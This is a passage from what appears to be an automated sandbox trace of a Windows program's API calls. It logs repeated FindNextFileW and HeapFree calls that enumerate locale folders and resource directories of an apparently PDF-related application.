ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0190.217] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.217] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0190.217] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.217] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0190.218] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.218] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0190.218] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.218] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0190.218] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.218] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0190.218] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.218] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0190.218] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.218] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0190.218] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.218] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0190.219] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.219] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0190.219] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.219] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0190.219] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.219] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0190.219] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.219] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0190.219] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.219] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0190.219] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.219] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0190.220] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.220] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0190.220] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.220] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0190.220] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.220] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0190.220] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.220] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0190.220] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.220] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0190.221] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.221] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0190.221] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.221] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0190.221] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.221] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0190.221] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.221] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0190.221] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.221] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0190.221] FindClose (in: hFindFile=0x4121288 | out: hFindFile=0x4121288) returned 1 [0190.222] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.222] FindNextFileW (in: hFindFile=0x4121488, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nls", cAlternateFileName="")) returned 0 [0190.222] FindClose (in: hFindFile=0x4121488 | out: hFindFile=0x4121488) returned 1 [0190.222] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0190.222] FindNextFileW (in: hFindFile=0x4121548, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0190.222] FindClose (in: hFindFile=0x4121548 | out: hFindFile=0x4121548) returned 1 [0190.222] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0190.222] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="generic-rhp-app", cAlternateFileName="GENERI~1")) returned 1 [0190.236] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0190.236] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="home", cAlternateFileName="")) returned 1 [0190.236] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-computer", cAlternateFileName="MY-COM~2")) returned 1 [0190.236] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-computer-select", cAlternateFileName="MY-COM~1")) returned 1 [0190.236] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-files", cAlternateFileName="")) returned 1 [0190.236] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-files-select", cAlternateFileName="MY-FIL~1")) returned 1 [0190.236] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-recent-files", cAlternateFileName="MY-REC~2")) returned 1 [0190.236] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-recent-files-select", cAlternateFileName="MY-REC~1")) returned 1 [0190.236] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ob-preview", cAlternateFileName="OB-PRE~1")) returned 1 [0190.236] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="on-boarding", cAlternateFileName="ON-BOA~1")) returned 1 [0190.236] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pages-app", cAlternateFileName="PAGES-~1")) returned 1 [0190.237] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sample-files", cAlternateFileName="SAMPLE~1")) returned 1 [0190.237] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="scan-files", cAlternateFileName="SCAN-F~1")) returned 1 [0190.237] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="send-for-sign", cAlternateFileName="SEND-F~1")) returned 1 [0190.237] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, 